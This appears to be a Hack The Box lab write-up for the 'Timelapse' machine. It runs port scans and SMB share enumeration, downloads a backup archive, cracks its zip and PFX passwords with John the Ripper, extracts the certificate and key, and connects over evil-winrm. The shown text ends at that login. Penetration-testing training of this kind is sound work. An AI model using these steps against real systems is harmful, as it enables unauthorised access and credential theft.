[HTB] Machine: Timelapse
Timelapse
Enumeration
└─$ nmap -p- -Pn 10.10.11.152 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-24 17:00 BST
Nmap scan report for 10.10.11.152 (10.10.11.152)
Host is up (0.094s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5986/tcp open wsmans
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49696/tcp open unknown
56502/tcp open unknown
└─$ nmap -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,46793,49674,49696,56502 -Pn 10.10.11.152 -T4
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-24 17:06 BST
Nmap scan report for 10.10.11.152 (10.10.11.152)
Host is up (0.17s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-08-25 00:05:47Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
| tls-alpn:
|_ http/1.1
|_http-title: Not Found
|_ssl-date: 2023-08-25T00:07:22+00:00; +7h59m24s from scanner time.
9389/tcp open mc-nmf .NET Message Framing
46793/tcp filtered unknown
49667/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49696/tcp open msrpc Microsoft Windows RPC
56502/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-08-25T00:06:44
|_ start_date: N/A
|_clock-skew: mean: 7h59m23s, deviation: 0s, median: 7h59m22s
- Add
dc01.timelapse.htb and timelapse.htb to /etc/hosts crackmapexec
└─$ crackmapexec smb dc01.timelapse.htb --shares -u test -p ''
SMB timelapse.htb 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB timelapse.htb 445 DC01 [+] timelapse.htb\test:
SMB timelapse.htb 445 DC01 [+] Enumerated shares
SMB timelapse.htb 445 DC01 Share Permissions Remark
SMB timelapse.htb 445 DC01 ----- ----------- ------
SMB timelapse.htb 445 DC01 ADMIN$ Remote Admin
SMB timelapse.htb 445 DC01 C$ Default share
SMB timelapse.htb 445 DC01 IPC$ READ Remote IPC
SMB timelapse.htb 445 DC01 NETLOGON Logon server share
SMB timelapse.htb 445 DC01 Shares READ
SMB timelapse.htb 445 DC01 SYSVOL Logon server share
└─$ smbclient -N //10.10.11.152/Shares
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Oct 25 16:39:15 2021
.. D 0 Mon Oct 25 16:39:15 2021
Dev D 0 Mon Oct 25 20:40:06 2021
HelpDesk D 0 Mon Oct 25 16:48:42 2021
6367231 blocks of size 4096. 1270621 blocks available
smb: \> cd Dev
smb: \Dev\> ls
. D 0 Mon Oct 25 20:40:06 2021
.. D 0 Mon Oct 25 20:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 16:46:42 2021
6367231 blocks of size 4096. 1270528 blocks available
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (3.1 KiloBytes/sec) (average 3.1 KiloBytes/sec)
smb: \Dev\> cd ..
smb: \> ls
. D 0 Mon Oct 25 16:39:15 2021
.. D 0 Mon Oct 25 16:39:15 2021
Dev D 0 Mon Oct 25 20:40:06 2021
HelpDesk D 0 Mon Oct 25 16:48:42 2021
cd Help
6367231 blocks of size 4096. 1269473 blocks available
smb: \> cd HelpDesk
smb: \HelpDesk\> ls
. D 0 Mon Oct 25 16:48:42 2021
.. D 0 Mon Oct 25 16:48:42 2021
LAPS.x64.msi A 1118208 Mon Oct 25 15:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 15:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 15:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 15:57:44 2021
6367231 blocks of size 4096. 1269439 blocks available
smb: \HelpDesk\>
winrm_backup.zip is protected with password
└─$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
skipping: legacyy_dev_auth.pfx incorrect password
- Let’s crack it
zip2john winrm_backup.zip > winrm.hash
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt winrm.hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2023-08-24 17:22) 4.545g/s 15769Kp/s 15769Kc/s 15769KC/s surkerior..suppamas
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
└─$ unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: legacyy_dev_auth.pfx
- Okay, we can follow this post
- If we try it, it’s protected with password
└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key
Enter Import Password:
Mac verify error: invalid password?
- Let’s crack this one too
pfx2john legacyy_dev_auth.pfx > legacyy_dev_auth.hash
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt legacyy_dev_auth.hash
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:00:58 DONE (2023-08-24 17:28) 0.01705g/s 55112p/s 55112c/s 55112C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
- Let’s try extracting key again
└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out legacyy_dev_auth.key
Enter Import Password:
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
└─$ openssl rsa -in legacyy_dev_auth.key -out legacyy_dev_auth-decrypted.key
Enter pass phrase for legacyy_dev_auth.key:
writing RSA key
└─$ openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out legacyy_dev_auth.crt
Enter Import Password:
└─$ ls -lha legacyy_dev_auth*
-rw------- 1 kali kali 1.3K Aug 24 17:33 legacyy_dev_auth.crt
-rw------- 1 kali kali 1.7K Aug 24 17:33 legacyy_dev_auth-decrypted.key
-rw-r--r-- 1 kali kali 5.0K Aug 24 17:27 legacyy_dev_auth.hash
-rw------- 1 kali kali 2.1K Aug 24 17:29 legacyy_dev_auth.key
-rwxr-xr-x 1 kali kali 2.5K Oct 25 2021 legacyy_dev_auth.pfx
- Let’s connect using
evil-winrmevil-winrm -S -k legacyy_dev_auth-decrypted.key -c legacyy_dev_auth.crt -i timelapse.htb
